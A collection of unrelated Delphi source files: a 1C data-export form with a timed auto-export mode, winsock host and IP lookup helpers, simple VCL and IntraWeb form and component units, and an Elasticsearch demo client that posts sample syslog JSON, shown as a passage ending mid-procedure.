//==============================================================================
procedure TExportIn1CForm.CloseLog;
begin
CloseFile(FLog);
end;
//==============================================================================
procedure TExportIn1CForm.bbOkClick(Sender: TObject);
begin
ExportAll;
end;
//==============================================================================
procedure TExportIn1CForm.FormShow(Sender: TObject);
var
i: integer;
begin
_OpenQueryOra(qLoad);
CopyToMemoryTable(qLoad,mt,'ID,DESCRIPTION');
dir1.Text := GetMainDir+'Export';
grid1.Columns[0].Title.Caption:='';
if FStartMode = smAutoUnload then
begin
mt.First;
while not mt.Eof do
begin
mt.Edit;
mtChecked.AsBoolean := False;
mt.Post;
mt.Next;
end;
for i := 0 to FExportList.Count - 1 do
begin
mt.Locate('ID',FExportList[i],[]);
if mt['ID'] = FExportList[i] then
begin
mt.Edit;
mtChecked.AsBoolean := True;
mt.Post;
end;
end;
grid1.ReadOnly := True;
end;
mt.First;
end;
//==============================================================================
procedure TExportIn1CForm.mtAfterInsert(DataSet: TDataSet);
begin
mtChecked.AsBoolean := TRUE;
end;
//==============================================================================
procedure TExportIn1CForm.FormCreate(Sender: TObject);
begin
inherited;
FAZSList := TStringList.Create;
FExportList := TStringList.Create;
if SysParamExists('RUN_OIL_EXPORT') then
begin
try
pnlBtnAutoUnload.Visible := True;
sbAutoLoad.Down := True;
sbAutoLoad.Click;
FStartMode := smAutoUnload;
if not FileExists(SysParamValue('INI')) then
raise Exception.CreateFmt('Не найден ini-файл ''%s''.',[SysParamValue('INI')]);
FIni := TIniFile.Create( ExpandFileName(SysParamValue('INI')) );
FAZSList.CommaText := FIni.ReadString('RUN_OIL_EXPORT', 'AzsList', '');
FExportList.CommaText := FIni.ReadString('RUN_OIL_EXPORT', 'ExportList', '');
TimerAutoUpload.Interval := FIni.ReadInteger('RUN_OIL_EXPORT', 'Interval', 60000);
LblNextDateValue.Caption := DateToStr(FIni.ReadDate('RUN_OIL_EXPORT', 'LastRun', Date()-1)+1);
Self.deBegin.Date := Date();
Self.deEnd.Date := Date();
except on E:Exception do
raise Exception.Create('Не удалось прочитать параметры из ini-файла.'+#10#13+e.Message);
end;
end
else
begin
FStartMode := smNormal;
SetCurrentMonth(deBegin,deEnd);
end;
pnlBtnNormal.Visible := not pnlBtnAutoUnload.Visible;
end;
//==============================================================================
//==============================================================================
procedure TExportIn1CForm.ExportOne;
var
q: TOilQuery;
tail,vUnloadType,vUnloadFormat,vTestMsg: string;
sl: TStringList;
i: integer;
//****************************************************************************
procedure FileExp(p_Str: string);
begin
writeln(Ftxt,p_Str);
end;
procedure CloseF();
begin
CloseFile(Ftxt);
end;
//****************************************************************************
procedure DataSetToTxt(
p_Q: TDataSet // датасет откуда будет происходить перенос
);
var
i:integer;
vFileName,tmp: string; // временное и окончательное имя файла
begin
vFileName:=FormatDateTime('ddmmyy',Date)+tail+'.txt';
AssignFile(FTxt,dir1.Text+'\'+ vFileName);
if FileExists(dir1.Text+'\'+vFileName) then Rewrite(Ftxt)
else Rewrite(Ftxt);
p_Q.First;
while not p_Q.Eof do
begin
for i:=0 to p_Q.Fields.Count-1 do
begin
if i<>p_Q.Fields.Count-1 then
tmp:=tmp+p_Q.Fields[i].AsString+#9
else
tmp:=tmp+p_Q.Fields[i].AsString;
end;
FileExp(tmp);
tmp:='';
p_Q.Next;
end;
CloseF();
end;
//****************************************************************************
procedure UnloadOne(p_FileName: string;p_FileFromat: string);
begin
if p_FileFromat='.dbf' then
begin
try
DataSetToDbf(q,dir1.Text,p_FileName,sl);
except
on E:Exception do begin
LogExp(' '+E.Message);
ErrorExists:=TRUE;
end;
end;
end
else
begin
try
DataSetToTxt(q);
except
on E:Exception do begin
LogExp(' '+E.Message);
ErrorExists:=TRUE;
end;
end;
end;
end;
//****************************************************************************
procedure UnloadByDate;
var
vCurDate: TDateTime;
vFileName: string;
begin
vCurDate:=deBegin.Date;
while vCurDate<=deEnd.Date do begin
q.Filter:='rep_date='''+DateToStr(vCurDate)+'''';
q.Filtered:=TRUE;
if q.RecordCount>0 then begin
vFileName:=FormatDateTime('ddmmyy',vCurDate)+tail;
LogExp(' '+vFileName+'.dbf ... '+IntToStr(q.RecordCount)+TranslateText(' записей'));
UnloadOne(vFileName,'.dbf');
end;
vCurDate:=vCurDate+1;
end;
end;
//****************************************************************************
procedure UnloadWhole(vFileFormat:string);
var
vFileName: string;
begin
vFileName:=FormatDateTime('ddmmyy',Date)+tail;
LogExp(' '+vFileName+vFileFormat+' ... '+IntToStr(q.RecordCount)+TranslateText(' записей'));
UnloadOne(vFileName,vFileFormat);
end;
//****************************************************************************
begin
LogExp(mtDescription.AsString);
sl:=TStringList.Create;
q:=TOilQuery.Create(nil);
try
q.Session:=frmStart.OraSession1;
q.SQL.Text:=GetExeSqlTextById(mtId.AsInteger);
q.Prepare;
q.ParamByName('BeginDate').Value:=deBegin.Date;
q.ParamByName('EndDate').Value:=deEnd.Date;
if not MakeExeSqlTests(q,vTestMsg) then begin
LogExp(mtDescription.AsString);
LogExp(TranslateText('Проверки выдали следующее предупреждение:'));
LogExp(vTestMsg);
LogExp(TranslateText('Выгрузка отменена.'));
exit;
end;
_OpenQueryOra(q);
q.Last; q.First;
LogExp('... '+IntToStr(q.RecordCount)+TranslateText(' записей'));
if vTestMsg<>'' then begin
LogExp(TranslateText('Проверки выдали следующие предупреждения:'));
LogExp(vTestMsg);
end;
tail:=GetQHeadValue(q,'FILE');
vUnloadType:=decode([GetQHeadValue(q,'UNLOAD_TYPE'),'','ONEDATE']);
vUnloadFormat:=decode([GetQHeadValue(q,'UNLOAD_FORMAT'),'.txt','.txt','.dbf']);
for i:=0 to q.Sql.Count-1 do begin
if copy(q.Sql[i],1,2)<>'--' then break;
if copy(q.Sql[i],1,3)='--%' then
sl.Add(UpperCase(copy(q.Sql[i],4,length(q.Sql[i]))));
end;
if vUnloadType='ONEDATE' then UnloadByDate
else UnloadWhole(vUnloadFormat);
finally
q.Free;
sl.Free;
end;
end;
//==============================================================================
procedure TExportIn1CForm.ExportAll;
begin
DefineRepDates(deBegin.Date,deEnd.Date);
if not DirectoryExists(dir1.Text) and not CreateDir(dir1.Text) then
raise exception.create(TranslateText('Не удалось создать папку для экспорта!'));
InitLog;
ErrorExists:=FALSE;
try
try
LogExp('*****************************************************');
LogExp(TranslateText('* Экспорт в 1С начат ')+DateToStr(Date)+' '+TimeToStr(Time));
LogExp(TranslateText('* за период с ')+DateToStr(deBegin.Date)+TranslateText(' по ')+DateToStr(deEnd.Date));
LogExp('* '+MAIN_ORG.NAME);
LogExp('-----------------------------------------------------');
mt.First;
while not mt.Eof do begin
if mtChecked.AsBoolean then
ExportOne;
mt.Next;
end;
except
on E:Exception do begin
LogExp(E.Message);
ErrorExists:=TRUE;
end;
end;
finally
LogExp('-----------------------------------------------------');
LogExp(TranslateText('* завершен ')+DateToStr(Date)+' '+TimeToStr(Time));
LogExp('*****************************************************');
LogExp('');
CloseLog;
if ErrorExists then
MessageDlg(TranslateText('ОШИБКИ!!!!!!!!')+#13#10+
TranslateText('Подробности в файле ')+dir1.Text+'\'+LOG_NAME,
mtWarning,[mbOk],0)
else
MessageDlg(TranslateText('Экспорт данных завершен успешно.'),
mtInformation,[mbOk],0);
end;
end;
//==============================================================================
procedure TExportIn1CForm.grid1GetCellParams(Sender: TObject;
Column: TColumnEh; AFont: TFont; var Background: TColor;
State: TGridDrawState);
begin
Background:=clWhite;
AFont.Color:=clBlack;
end;
//==============================================================================
procedure TExportIn1CForm.grid1ColWidthsChanged(Sender: TObject);
begin
grid1.Columns[0].Width:=16;
end;
//==============================================================================
procedure TExportIn1CForm.SetChecked(p_Value: Boolean);
begin
ds.DataSet:=nil;
mt.First;
while not mt.Eof do begin
mt.Edit;
mtChecked.AsBoolean:=p_Value;
mt.Post;
mt.Next;
end;
mt.First;
ds.DataSet:=mt;
end;
//==============================================================================
procedure TExportIn1CForm.SpeedButton1Click(Sender: TObject);
begin
SetChecked(TRUE);
end;
//==============================================================================
procedure TExportIn1CForm.SpeedButton2Click(Sender: TObject);
begin
SetChecked(FALSE);
end;
//==============================================================================
procedure TExportIn1CForm.BitBtn1Click(Sender: TObject);
begin
end;
//==============================================================================
procedure TExportIn1CForm.deBeginChange(Sender: TObject);
var
day,month,year:word;
date1,date2:TDateTime;
begin
DecodeDate(deBegin.Date,Year,Month,Day);
GetMonthLimits(month,year,date1,date2);
deEnd.Date:=date2;
end;
//==============================================================================
procedure TExportIn1CForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
DefineRepDates(0,0);
end;
procedure TExportIn1CForm.FormDestroy(Sender: TObject);
begin
inherited;
FAZSList.Free;
FExportList.Free;
end;
procedure TExportIn1CForm.TimerAutoUploadTimer(Sender: TObject);
var
LastRun: TDateTime;
begin
try
if not FStopAutoLoad and (FIni <> nil) then
begin
deBegin.Date := Date();
deEnd.Date := Date();
LastRun := FIni.ReadDate('RUN_OIL_EXPORT', 'LastRun', Date()-1);
if LastRun <> Date() then
begin
if qTestAutoUpload.Active then
qTestAutoUpload.Close;
qTestAutoUpload.MacroByName('AZSList').Value := FAZSList.CommaText;
_OpenQueryPar(qTestAutoUpload,
['BeginDate', deBegin.Date,
'EndDate', deEnd.Date,
'OrgId', INST]);
if qTestAutoUpload.IsEmpty then
begin
ExportAll;
FIni.WriteDate('RUN_OIL_EXPORT', 'LastRun', Date());
LblNextDateValue.Caption := DateToStr(LastRun+1);
end
else
LogExp('Условие автовыгрузки удовлетворено!');
qTestAutoUpload.Close;
end;
end;
except on E:Exception do
LogExp('TimerAutoUploadTimer: '+e.Message);
end;
end;
procedure TExportIn1CForm.sbAutoLoadClick(Sender: TObject);
begin
inherited;
FStopAutoLoad := not sbAutoLoad.Down;
end;
end.
|
{*************************************************************
Author: Stéphane Vander Clock (SVanderClock@Arkadia.com)
www: http://www.arkadia.com
EMail: SVanderClock@Arkadia.com
product: Alcinoe winsock function
Version: 3.05
Description: Misc function that use winsock (for exempple ALHostToIP,
ALIPAddrToName or ALgetLocalIPs)
Legal issues: Copyright (C) 1999-2005 by Arkadia Software Engineering
This software is provided 'as-is', without any express
or implied warranty. In no event will the author be
held liable for any damages arising from the use of
this software.
Permission is granted to anyone to use this software
for any purpose, including commercial applications,
and to alter it and redistribute it freely, subject
to the following restrictions:
1. The origin of this software must not be
misrepresented, you must not claim that you wrote
the original software. If you use this software in
a product, an acknowledgment in the product
documentation would be appreciated but is not
required.
2. Altered source versions must be plainly marked as
such, and must not be misrepresented as being the
original software.
3. This notice may not be removed or altered from any
source distribution.
4. You must register this software by sending a picture
postcard to the author. Use a nice stamp and mention
your name, street address, EMail address and any
comment you like to say.
Know bug :
History:
Link :
Please send all your feedback to SVanderClock@Arkadia.com
**************************************************************}
unit AlFcnWinSock;
interface
uses Windows,
sysutils,
classes;
function ALHostToIP(HostName: string; var Ip: string): Boolean;
function ALIPAddrToName(IPAddr : String): String;
function ALgetLocalIPs: Tstrings;
function ALgetLocalHostName: string;
implementation
uses Winsock;
{*************************************************************}
function ALHostToIP(HostName: string; var Ip: string): Boolean;
var WSAData : TWSAData;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAData.wVersion := 0;
WSAStartup (MAKEWORD(2,2), WSAData);
try
hostEnt := gethostbyname ( Pchar(hostName));
if Assigned (hostEnt) then begin
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else Result := False;
end
else Result := False
end
else Result := False;
finally
if WSAData.wVersion = 2 then WSACleanup;
end
end;
{***********************************************}
function ALIPAddrToName(IPAddr : String): String;
var SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAData.wVersion := 0;
WSAStartup(MAKEWORD(2,2), WSAData);
Try
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt<>nil then result:=StrPas(Hostent^.h_name)
else result:='';
finally
if WSAData.wVersion = 2 then WSACleanup;
end;
end;
{*******************************}
function ALgetLocalIPs: Tstrings;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..255] of Char;
I: Integer;
WSAData: TWSAData;
begin
WSAData.wVersion := 0;
WSAStartup(MAKEWORD(2,2), WSAData);
Try
Result := TstringList.Create;
Result.Clear;
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
I := 0;
while pPtr^[I] <> nil do begin
Result.Add(inet_ntoa(pptr^[I]^));
Inc(I);
end;
finally
if WSAData.wVersion = 2 then WSACleanup;
end;
end;
{***********************************}
function ALgetLocalHostName: string;
var Buffer: array [0..255] of char;
WSAData: TWSAData;
begin
WSAData.wVersion := 0;
WSAStartup(MAKEWORD(2,2), WSAData);
Try
if gethostname(Buffer, SizeOf(Buffer)) <> 0 then
raise Exception.Create('Winsock GetHostName failed');
Result := StrPas(Buffer);
finally
if WSAData.wVersion = 2 then WSACleanup;
end;
end;
end. |
unit f_form_base;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.jpeg, Vcl.ExtCtrls;
type
Tfrm_form_base = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
private
{ Private declarations }
public
{ Public declarations }
end;
var
frm_form_base: Tfrm_form_base;
implementation
{$R *.dfm}
procedure Tfrm_form_base.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
self := nil;
end;
procedure Tfrm_form_base.FormCreate(Sender: TObject);
begin
FormStyle := fsMDIChild;
end;
procedure Tfrm_form_base.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);
begin
if key = VK_ESCAPE then Close;
end;
end.
|
unit IWBSImage;
interface
uses Data.Db, Vcl.Graphics,
IWRenderContext, IWHTMLTag, IWDBExtCtrls;
type
TIWBSImage = class(TIWDBImage)
protected
procedure CheckData; override;
public
function RenderCSSClass(AComponentContext: TIWCompContext): string; override;
function RenderHTML(AContext: TIWCompContext): TIWHTMLTag; override;
published
property OnAsyncClick;
property OnAsyncDoubleClick;
property OnAsyncMouseDown;
property OnAsyncMouseMove;
property OnAsyncMouseOver;
property OnAsyncMouseOut;
property OnAsyncMouseUp;
property Picture;
property FriendlyName;
property TransparentColor;
property JpegOptions;
property OutputType;
property RenderEmptyAsSpan;
end;
implementation
{$region 'TIWBSImage'}
procedure TIWBSImage.CheckData;
begin
if DataSource <> nil then
inherited;
end;
function TIWBSImage.RenderCSSClass(AComponentContext: TIWCompContext): string;
begin
Result := 'img-responsive';
if Css <> '' then begin
if Result <> '' then
Result := Result + ' ';
Result := Result + Css;
end;
end;
function TIWBSImage.RenderHTML(AContext: TIWCompContext): TIWHTMLTag;
begin
Result := inherited;
Result.AddClassParam(RenderCSSClass(AContext));
end;
{$endregion}
end.
|
unit uFrmMasterCad;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Buttons, Vcl.StdCtrls, Vcl.Grids,
Vcl.DBGrids, Vcl.ExtCtrls, System.Actions, Vcl.ActnList, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS,
FireDAC.Phys.Intf, FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt,
Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client, FireDAC.UI.Intf,
FireDAC.VCLUI.Wait, FireDAC.Comp.UI, Generics.Collections;
type
TFrmMasterCad = class(TForm)
pnlPesquisas: TPanel;
pnlResultados: TPanel;
gridResultados: TDBGrid;
pnlBotoes: TPanel;
btnNovo: TButton;
btnCancelar: TButton;
btnGravar: TBitBtn;
btnExcluir: TButton;
pnlDados: TPanel;
lblPesquisar: TLabel;
ActBase: TActionList;
actNovo: TAction;
actCancelar: TAction;
actGravar: TAction;
actExcluir: TAction;
actEdit: TAction;
pnlTop: TPanel;
qryMaster: TFDQuery;
dsMaster: TDataSource;
FDWaitCursor: TFDGUIxWaitCursor;
lblTitulo: TLabel;
procedure actNovoExecute(Sender: TObject);
procedure actExcluirExecute(Sender: TObject);
procedure actGravarExecute(Sender: TObject);
procedure actCancelarExecute(Sender: TObject);
procedure actEditExecute(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure qryMasterAfterEdit(DataSet: TDataSet);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FrmMasterCad: TFrmMasterCad;
implementation
{$R *.dfm}
procedure TFrmMasterCad.actCancelarExecute(Sender: TObject);
begin
btnCancelar.Enabled := false;
btnGravar.Enabled := false;
btnNovo.Enabled := true;
btnExcluir.enabled := true;
end;
procedure TFrmMasterCad.actEditExecute(Sender: TObject);
begin
btnCancelar.Enabled := True;
btnGravar.Enabled := True;
btnNovo.Enabled := False;
btnExcluir.enabled := False;
end;
procedure TFrmMasterCad.actExcluirExecute(Sender: TObject);
begin
if Application.MessageBox('Deseja realmene excluir o registro?','Atenção!',MB_YESNO) = mrNo then
begin
Abort;
end;
btnCancelar.Enabled := false;
btnGravar.Enabled := false;
btnNovo.Enabled := true;
btnExcluir.enabled := true;
end;
procedure TFrmMasterCad.actGravarExecute(Sender: TObject);
begin
btnCancelar.Enabled := false;
btnGravar.Enabled := false;
btnNovo.Enabled := true;
btnExcluir.enabled := true;
end;
procedure TFrmMasterCad.actNovoExecute(Sender: TObject);
begin
btnCancelar.Enabled := True;
btnGravar.Enabled := True;
btnNovo.Enabled := False;
btnExcluir.enabled := false;
end;
procedure TFrmMasterCad.FormKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
begin
perform(wm_nextdlgctl, 0, 0);
end;
end;
procedure TFrmMasterCad.qryMasterAfterEdit(DataSet: TDataSet);
begin
actEditExecute(Self);
end;
end.
|
{*******************************************************}
{ }
{ Copyright(c) 2003-2018 Oamaru Group , Inc. }
{ }
{ Copyright and license exceptions noted in source }
{ }
{ Non Commerical Use Permitted }
{*******************************************************}
unit Main;
interface
uses
Winapi.Windows, Winapi.Messages, System.IOUtils, System.SysUtils, System.Variants,
System.Generics.Collections, System.Classes, System.UITypes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, System.JSON, EndpointClient,
Vcl.ComCtrls, LogMessage;
const
ES_HOST = 'http://192.168.85.122';
//ES_HOST = 'http://127.0.0.1';
//Template/Mapping examples only work with Elastic 7
//As it removed types (ES 6 only deprecated them)
type
TfmMain = class(TForm)
memMain: TMemo;
pcElastic: TPageControl;
tsBasics: TTabSheet;
gbIndexExists: TGroupBox;
ebCheckIndex: TEdit;
btnIndexExists: TButton;
gbCreateIndex: TGroupBox;
ebCreateIndex: TEdit;
btnCreateIndex: TButton;
GroupBox2: TGroupBox;
btnAddSyslogWithID: TButton;
btnUpdateSyslogWithID: TButton;
btnAddSyslogWithNoID: TButton;
btnDelete: TButton;
gbBulkUpdates: TGroupBox;
btnBulkUpdateSingleIndex: TButton;
btnBulkUpdateMultipleIndex: TButton;
tsCustomMapping: TTabSheet;
gbIndexThenMapping: TGroupBox;
btnPutIndex: TButton;
btnPutTextMapping: TButton;
btnTextKeywordData: TButton;
odBulk: TOpenDialog;
btnAddFile: TButton;
btnPutKeyWordMapping: TButton;
cbIndexName: TComboBox;
gbTemplate: TGroupBox;
ebIndexMask: TEdit;
Label1: TLabel;
btnTemplate: TButton;
tsRoutes: TTabSheet;
GroupBox1: TGroupBox;
Label2: TLabel;
ebRoutedIndex: TEdit;
Button1: TButton;
Label3: TLabel;
cbShards: TComboBox;
procedure btnIndexExistsClick(Sender: TObject);
procedure btnCreateIndexClick(Sender: TObject);
procedure btnAddSyslogWithIDClick(Sender: TObject);
procedure btnUpdateSyslogWithIDClick(Sender: TObject);
procedure btnAddSyslogWithNoIDClick(Sender: TObject);
procedure btnBulkUpdateSingleIndexClick(Sender: TObject);
procedure btnBulkUpdateMultipleIndexClick(Sender: TObject);
procedure btnDeleteClick(Sender: TObject);
procedure btnPutIndexClick(Sender: TObject);
procedure btnPutTextMappingClick(Sender: TObject);
procedure btnTextKeywordDataClick(Sender: TObject);
procedure btnAddFileClick(Sender: TObject);
procedure btnPutKeyWordMappingClick(Sender: TObject);
procedure btnTemplateClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
procedure FormInit;
procedure CreateIndex(AIndexName: String; AShards: Integer = 5);
public
{ Public declarations }
constructor Create(Aowner: TComponent); override;
end;
var
fmMain: TfmMain;
implementation
{$R *.dfm}
constructor TfmMain.Create(Aowner: TComponent);
begin
inherited Create(AOwner);
Self.Caption := String.Format('Elastic Delphi. ES Host: %s', [ES_HOST]);
FormInit;
end;
procedure TfmMain.FormInit;
begin
ebCheckIndex.Text := FormatDateTime('YYYY-MM-DD', Date);
ebCreateIndex.Text := FormatDateTime('YYYY-MM-DD', Date);
pcElastic.ActivePageIndex := 0;
cbIndexName.ItemIndex := 0;
end;
procedure TfmMain.CreateIndex(AIndexName: String; AShards: Integer = 5);
var
LEndpoint: TEndpointClient;
LIndexDetail: TStringList;
begin
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, AIndexName);
try
LIndexDetail := TStringList.Create;
try
LIndexDetail.Add(('{ ').Trim);
LIndexDetail.Add((' "settings" : { ').Trim);
LIndexDetail.Add((' "index" : { ').Trim);
LIndexDetail.Add((String.Format(' "number_of_shards" : %d, ', [AShards])).Trim);
LIndexDetail.Add((' "number_of_replicas" : 2 ').Trim);
LIndexDetail.Add((' } ').Trim);
LIndexDetail.Add((' } ').Trim);
LIndexDetail.Add(('} ').Trim);
LEndpoint.Put(LIndexDetail.Text);
memMain.Lines.Add(String.Format('Put %s', [LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]))
finally
LIndexDetail.Free;
end;
finally
LEndpoint.Free;
end;
end;
procedure TfmMain.btnIndexExistsClick(Sender: TObject);
var
LEndpoint: TEndpointClient;
LResult: Integer;
begin
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, ebCheckIndex.Text);
try
Screen.Cursor := crHourglass;
try
LResult := LEndpoint.Head;
//If we get a 200 then the index exists!
if 200 = LResult then
memMain.Lines.Add(String.Format('%s exists! (%d)', [LEndpoint.FullURL, LResult]))
else
//Get a 404 and it's not there.
memMain.Lines.Add(String.Format('%s does not exist! (%d)', [LEndpoint.FullURL, LResult]))
finally
Screen.Cursor := crDefault;
end;
finally
LEndpoint.Free;
end;
end;
procedure TfmMain.btnCreateIndexClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "settings" : { ').Trim);
LJson.Append((' "index" : { ').Trim);
LJson.Append((' "number_of_shards" : 5, ').Trim); //5 is default
LJson.Append((' "number_of_replicas" : 0 ').Trim); //2 is default but we use 0 here since we have only one node.
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append(('} ').Trim);
LEndPoint := TEndpointClient.Create('http://127.0.0.1', 9200, String.Empty, String.Empty, ebCreateIndex.Text);
try
Screen.Cursor := crHourglass;
try
LPutResult := LEndpoint.Put(LJson.ToString);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LJson.ToString, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnAddSyslogWithIDClick(Sender: TObject);
var
LJSon: TStringBuilder;
LEndpoint: TEndpointClient;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "type":"BSD", ').Trim);
LJson.Append((' "facility":"UserLevel", ').Trim);
LJson.Append((' "severity":"Debug", ').Trim);
LJson.Append((' "timeStamp":"2018-07-01T18:24:02.662Z", ').Trim);
LJson.Append((' "host":"localhost", ').Trim);
LJson.Append((' "process":"MyProcess", ').Trim);
LJson.Append((' "processId":99, ').Trim);
LJson.Append((' "logMessage":"This is a test message with an ID!" ').Trim);
LJson.Append(('} ').Trim);
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '2018-07-01/message/DocID01');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Put(LJson.ToString); //Add with a PUT when we supply Document ID (the "DocID01" in the above URL).
finally
Screen.Cursor := crDefault;
end;
//200 = OK (If it allready exists)
//201 = Created
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('Put %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed Put %s', [LEndpoint.StatusText ]));
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnUpdateSyslogWithIDClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndpoint: TEndpointClient;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "type":"BSD", ').Trim);
LJson.Append((' "facility":"UserLevel", ').Trim);
LJson.Append((' "severity":"Debug", ').Trim);
LJson.Append((' "timeStamp":"2018-07-01T18:24:02.662Z", ').Trim);
LJson.Append((' "host":"localhost", ').Trim);
LJson.Append((' "process":"MyProcess", ').Trim);
LJson.Append((' "processId":99, ').Trim);
LJson.Append((' "logMessage":"This is an updated test message with an ID!" ').Trim);
LJson.Append(('} ').Trim);
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '2018-07-01/message/DocID01');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Put(LJson.ToString); //Update with a PUT
finally
Screen.Cursor := crDefault;
end;
//200 = OK (If it allready exists)
//201 = Created
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('Put %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed Put %s', [LEndpoint.StatusText ]));
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnAddSyslogWithNoIDClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndpoint: TEndpointClient;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "type":"BSD", ').Trim);
LJson.Append((' "facility":"SystemDaemon", ').Trim);
LJson.Append((' "severity":"Emergency", ').Trim);
LJson.Append((' "timeStamp":"2018-07-02T18:24:02.662Z", ').Trim);
LJson.Append((' "host":"localhost", ').Trim);
LJson.Append((' "process":"MyProcess", ').Trim);
LJson.Append((' "processId":99, ').Trim);
LJson.Append((' "logMessage":"Opps! We have an emergency!" ').Trim);
LJson.Append(('} ').Trim);
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '2018-07-02/message');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Post(LJson.ToString); //To autogenerate ID we use POST insted of PUT
finally
Screen.Cursor := crDefault;
end;
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('POST %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed POST %s', [LEndpoint.StatusText ]));
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnBulkUpdateSingleIndexClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndpoint: TEndpointClient;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
//Index and type information will be empty since we specify it in the resource we are posting to
//but we still need to have that lkine present.
LJson.Append('{"index":{}}' + #13#10);
LJson.Append('{"type":"BSD","facility":"MailSystem","severity":"Critical","timeStamp":"2018-06-14T06:00:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,' + '"logMessage":"EVID:0018 Reconnaissance activity detected 111.148.118.9:40083 -> 161.200.1.9:443 TCP"}' + #13#10);
LJson.Append('{"index":{}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"SysLogInternal","severity":"Error","timeStamp":"2018-06-14T06:05:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0043 Host: 172.10.1.14 has a vulnerability on port: 80 protocol: http"}' + #13#10);
LJson.Append('{"index":{}}' + #13#10);
